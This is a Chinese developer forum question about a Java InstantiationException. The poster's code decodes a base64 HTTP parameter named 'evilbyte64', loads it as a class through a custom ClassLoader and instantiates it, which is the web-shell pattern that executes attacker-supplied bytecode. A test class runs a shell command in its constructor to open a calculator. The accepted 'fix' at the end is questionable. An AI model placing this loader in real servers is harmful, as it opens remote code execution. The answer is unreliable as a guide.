反射实例化报错java.lang.InstantiationException,大佬帮忙解答一下.

需要实例化的类:

package com.sorry.jcoffe.Debug.Reflection;
public class Person {
    private String name;
    private int age;
    public Person() {
    }
    private String getName() {
        return name;
    }
    private int getAge() {
        return age;
    }
    private void setName(String name) {
        this.name = name;
    }
    private void setAge(int age) {
        this.age = age;
    }
}

实例化

String kk = req.getParameter("evilbyte64");
byte[] evil =new sun.misc.BASE64Decoder().decodeBuffer(kk);
Class evilClass = new customClassLoader().customDefineClass(evil);
Object evilObj = evilClass.newInstance();
Method method1 = evilObj.getClass().getDeclaredMethod("setName",String.class);
Method method2 = evilObj.getClass().getDeclaredMethod("setAge",int.class);
Method method3 = evilObj.getClass().getDeclaredMethod("getName");
method1.setAccessible(true);
method2.setAccessible(true);
method3.setAccessible(true);
method1.invoke(evilObj,"evil in request");
method2.invoke(evilObj,1);
String result = (String )method3.invoke(evilObj);

....
class customClassLoader extends ClassLoader{
    public Class customDefineClass(byte[] evilbytes){
        return super.defineClass(evilbytes,0,evilbytes.length);
    }
}

网上是说没有无参构造类,但我是写了的.
换了一个类是能够反射实例化的并调用方法的

package com.sorry.jcoffe.Utils.Class2Bytes;
import java.io.IOException;
import java.util.Scanner;
public class Calculator {
    //definecalss取对象的时候会默认调用无参构造函数
 public Calculator(){
        java.lang.ProcessBuilder p;
        p = new java.lang.ProcessBuilder("/bin/sh","-c","open /System/Applications/Calculator.app");
        try {
            Scanner scanner = new Scanner(p.start().getInputStream().toString()).useDelimiter("A");
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("define class successful!");
    }
    public void echo(){
        System.out.println("this will not be init");
    }
    public static void main(String[] args) {
        Calculator c = new Calculator();
    }
}

image.png

已解决

反射用newInstance实例化的时候不仅要有无参构造函数,里面还要有操作.

阅读 2.5k
撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题
宣传栏